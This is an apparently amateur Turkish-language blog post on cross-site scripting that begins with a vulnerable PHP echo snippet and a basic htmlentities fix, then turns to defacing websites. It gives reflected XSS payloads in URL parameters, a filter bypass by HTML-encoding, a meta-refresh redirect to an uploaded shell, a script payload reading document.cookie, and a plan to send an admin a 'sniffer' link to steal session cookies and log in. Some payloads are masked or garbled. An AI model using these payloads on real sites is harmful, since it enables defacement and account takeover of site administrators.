XSS Nedir ?
XSS, Cross Site Scripting olarak bilinen web uygulamalarında mevcut olan
yaygın bir açıktır.XSS atak yapan kişinin zararlı kodlarını inject etmesine
dayanır.Kullanıcıya yönelik saldırı yapabiliriz.SQLİ de olan gibi sunucuya degil.
XSS Açığı Nasıl Oluşur ?
XSS açıkları bir değişkenin değerinin var olup olmadığını kontrol etmeden
değişkenin yansıtılmasından meydana gelir.
Örneğin:
Kod:
<?php
$aa = $_GET[’aa1];
echo $aa
?>
aa1 değerinin kontrolü yapılmamış.Bu hata echo $aa satırında XSS açığı
meydana getirmektedir.
XSS Açığı Nasıl Kapatılır ?
Eğer değişkenin değerinin var olup olmadığını kontrol edersek XSS açığını
kapatmış oluruz.XSS açığını nasıl kapatırız örneğini verecek olursak;
Kod:
<?php
if(isset($_GET[’aa’])) // Kontrol if $_GET[’aa’] varmı?
{
echo htmlentities($_GET[’aa’], ENT_QUOTES); // Yansıt ve encode kodlarla devam et
}
?>
Deface için kullanılabilecek birçok yöntem vardır ve ben bunlardan en etkili ve en yaygın olanları üzerinde duracağım.
a) HTML İNJ.
Siteye gelelim;
simitpeynir.com/simit/simit.php?id=
''id='' olan kısma
Kod:
<marquee>02d3</marquee>
HTML kodunu bazı sunucular güvenlik nedeniyle kabul etmiyor defacerler için ama ben bu kodları html encoderde çevirdim aynı yere yazarak bypass yaptım.Mesela bir forumda görmüştüm adam dosya upload kodunu yapıştırıyor açık olan yere şu şekil
Kod:
simitpeynir.com/simit/simit.php?id="upload kodu"
b)Sniffer
Sniffer dosyalarımızı oluşturuyoruz upload ettikten sonra admine gönderiyoruz eğer tıklarsa cookielerini elde etmiş oluyoruz ve cookie ile giriş yapıyoruz.
c)HTML ile Yönlendirmek
Açık oldugu zaman kullandıgımız bir kod daha var o da m eta kodu.Shellimizi upload ediyoruz ardından;
Kod:
simitpeynir.com/simit/simit.php?id=content="5;URL=<m eta http-equiv="*******" content="5;URL=http://www.site.com/shell.php">
//Boşluk olmayacak m eta kısmında * veriyordu.//
Bu açık javascript kodlarını çalıştırmamızı sağlar.Gerisi sizin hayal dünyanıza kalmış hangi kodu çalıştırmak isterseniz onu çalıştırın ben çalıştıracağım bu kod genelde çalışır.
Kod:
http://www.hedefsite.com/index.php?id=">**********alert(********.cookie)</script>
Sniffer Hazırlamak=https://vimeo.com/44193038 //Alıntı//
Hazır sniffer=https://www.youtube.com/watch?v=N4BS5q9_OzI //Alıntı//
Ben sizin hazırlamanızı öneririm.
By
06:29

0 yorum